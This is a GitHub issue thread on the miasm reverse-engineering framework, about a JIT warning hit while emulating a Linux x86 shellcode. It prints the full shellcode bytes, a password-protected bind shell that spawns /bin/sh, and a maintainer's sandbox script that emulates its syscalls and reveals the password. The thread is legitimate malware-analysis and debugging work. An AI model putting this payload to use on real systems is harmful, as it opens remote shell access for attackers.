cea-sec / miasm

Reverse engineering framework in Python
https://miasm.re/
GNU General Public License v2.0
3.44k stars 471 forks source link

strange warning #202

Closed Summus-31c04089c3cd80 closed 9 years ago

Summus-31c04089c3cd80 commented 9 years ago

Hello !

I got a strange Warning with a Linux shellcode.

<string>:37: warning: assignment from incompatible pointer type
<string>:38: warning: assignment from incompatible pointer type

This is the shellcode :

\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x96\x52\x68\x72\x64\x3a\x20\x68\x73\x73\x77\x6f\x66\x68\x50\x61\x89\xe7\x6a\x00\x6a\x0a\x57\x56\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x52\x6a\x08\x8d\x4c\x24\x08\x51\x56\x89\xe1\xb3\x0a\xb0\x66\xcd\x80\x87\xf3\x52\x68\x61\x75\x6c\x74\x68\x67\x6f\x74\x66\x89\xe7\x8d\x74\x24\x1c\x89\xd1\x80\xc1\x08\xfc\xf3\xa6\x74\x04\xf7\xf0\xcd\x80\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80

And this is the testing script i use :

shellcode = "\x6a\x66\x58\x6a\x01\x5b\x99\x52\x53\x6a\x02\x89\xe1\xcd\x80\x52\x66\x68\xfc\xc9\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x43\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\xcd\x80\x52\x52\x56\x89\xe1\x43\xb0\x66\xcd\x80\x96\x52\x68\x72\x64\x3a\x20\x68\x73\x73\x77\x6f\x66\x68\x50\x61\x89\xe7\x6a\x00\x6a\x0a\x57\x56\x89\xe1\xb3\x09\xb0\x66\xcd\x80\x52\x6a\x08\x8d\x4c\x24\x08\x51\x56\x89\xe1\xb3\x0a\xb0\x66\xcd\x80\x87\xf3\x52\x68\x61\x75\x6c\x74\x68\x67\x6f\x74\x66\x89\xe7\x8d\x74\x24\x1c\x89\xd1\x80\xc1\x08\xfc\xf3\xa6\x74\x04\xf7\xf0\xcd\x80\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
garbage = '\x00' * 32

run_addr = 0x40000000

import os,sys
from miasm2.jitter.jitload import *
from miasm2.analysis.machine import Machine
from miasm2.analysis.binary import Container
from miasm2.jitter.csts import PAGE_READ, PAGE_WRITE

machine = Machine('x86_32')
myjit = machine.jitter("tcc")
myjit.jit.options.update({"jit_maxline":5000})
myjit.stack_size = 0x10000
myjit.init_stack()
myjit.vm.add_memory_page(run_addr, PAGE_READ | PAGE_WRITE, shellcode+garbage)
myjit.push_uint32_t(6)
myjit.push_uint32_t(6)
myjit.push_uint32_t(6)
myjit.push_uint32_t(0x1664dead)
myjit.jit.log_regs = False
myjit.jit.log_mn = True#True
myjit.jit.log_newbloc = False
myjit.init_run(run_addr)
myjit.run = True
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=3
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=0
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=0
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=4
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=10
myjit.cpu.set_exception(0)
myjit.continue_run(True)
myjit.cpu.EAX=13
myjit.cpu.set_exception(0)
myjit.continue_run()

Here is the latest prints :

In [135]: myjit.continue_run()
40000067 XCHG       EBX, ESI
40000069 PUSH       EDX
4000006A PUSH       0x746C7561
4000006F PUSH       0x66746F67
40000074 MOV        EDI, ESP
40000076 LEA        ESI, DWORD PTR [ESP+0x1C]
4000007A MOV        ECX, EDX
4000007C ADD        CL, 0x8
4000007F CLD        
40000080 REPE CMPSB      
40000082 JZ         loc_0000000040000088:0x40000088
<string>:37: warning: assignment from incompatible pointer type
<string>:38: warning: assignment from incompatible pointer type
40000084 DIV        EAX
40000086 INT        0x80

This shellcode opens a socket (bind, listen, accept), sends a message ("Password: ") and receives a password. The part where there is the warning the password received is compared with the expected one and then exit (because it's false). I tried to modify the buffer which should contains the password received but the warning is still.

Regards

P.S. : If the correct password is set in the buffer the jump is executed and there is no warning. So I can tell you that this warning is occurring on the DIV instruction !

serpilliere commented 9 years ago

You are right. There is a bad cast in umod/udiv arguments. I will fix this.

By the way: Here is a little script to handle correctly linux shellcode and syscalls. :warning: Sploiler included!

from pdb import pm

from miasm2.core.utils import *
from miasm2.jitter.jitload import EXCEPT_INT_XX
from miasm2.analysis.sandbox import Sandbox, OS_Linux_str, Arch_x86_32

class Sandbox_Linux_x86_32_str(Sandbox, Arch_x86_32, OS_Linux_str):

    def __init__(self, *args, **kwargs):
        Sandbox.__init__(self, *args, **kwargs)

        self.jitter.push_uint32_t(0x1337beef)

        # Set the runtime guard
        self.jitter.add_breakpoint(0x1337beef, self.__class__.code_sentinelle)

    def run(self, addr = None):
        if addr is None and self.options.address is not None:
            addr = int(self.options.address, 16)
        super(Sandbox_Linux_x86_32_str, self).run(addr)

parser = Sandbox_Linux_x86_32_str.parser(description="str sandboxer")
parser.add_argument("filename", help="PE Filename")
options = parser.parse_args()

# Create sandbox
sb = Sandbox_Linux_x86_32_str(options.filename, options, globals())

def exception_int(jitter):
    if jitter.cpu.EAX == 0x66:
        # socketcall
        print 'args', hex(jitter.cpu.EBX), hex(jitter.cpu.ECX)
        if jitter.cpu.EBX == 1:
            print 'SOCKET'
            jitter.cpu.EAX = 3
        elif jitter.cpu.EBX == 2:
            print 'BIND'
            jitter.cpu.EAX = 3
        elif jitter.cpu.EBX == 4:
            print 'LISTEN'
            jitter.cpu.EAX = 3
        elif jitter.cpu.EBX == 5:
            print 'ACCEPT'
            jitter.cpu.EAX = 3
        elif jitter.cpu.EBX == 9:
            args = []
            for i in xrange(3):
                args.append(upck32(jitter.vm.get_mem(jitter.cpu.ECX+4*i, 4)))
            print [hex(arg) for arg in args]
            buf = jitter.vm.get_mem(args[1], args[2])
            print 'BUF sent', repr(buf)
            jitter.cpu.EAX = len(buf)
        elif jitter.cpu.EBX == 10:
            print 'RECV'
            args = []
            for i in xrange(3):
                args.append(upck32(jitter.vm.get_mem(jitter.cpu.ECX+4*i, 4)))
            print [hex(arg) for arg in args]
            buf = "gotfault"
            jitter.vm.set_mem(args[1], buf)
            print 'BUF RECV'
            jitter.cpu.EAX = len(buf)
        else:
            raise NotImplementedError('unknown socketcall %d'%jitter.cpu.EAX)
    elif jitter.cpu.EAX == 0x1:
        print 'EXIT'
        return False
        pass
    elif jitter.cpu.EAX == 63:
        print "DUP2"
        jitter.cpu.EAX = 8
    else:
        raise NotImplementedError('unknown syscall %d'%jitter.cpu.EAX)

    jitter.cpu.set_exception(0)
    return True

def dump_pwd(jitter):
    print repr(jitter.vm.get_mem(jitter.cpu.ESI, jitter.cpu.ECX))
    print repr(jitter.vm.get_mem(jitter.cpu.EDI, jitter.cpu.ECX))
    return True

sb.jitter.add_exception_handler(EXCEPT_INT_XX, exception_int)
sb.jitter.add_breakpoint(0x80, dump_pwd)

sb.run(0x0)
Summus-31c04089c3cd80 commented 9 years ago

Hi,

Thank you for the fix ! The script I gave you is only for testing when I have a problem with my complete script :) I use it on command line (ipython) to explore the jitter, or at least the memory, to understand what is going wrong.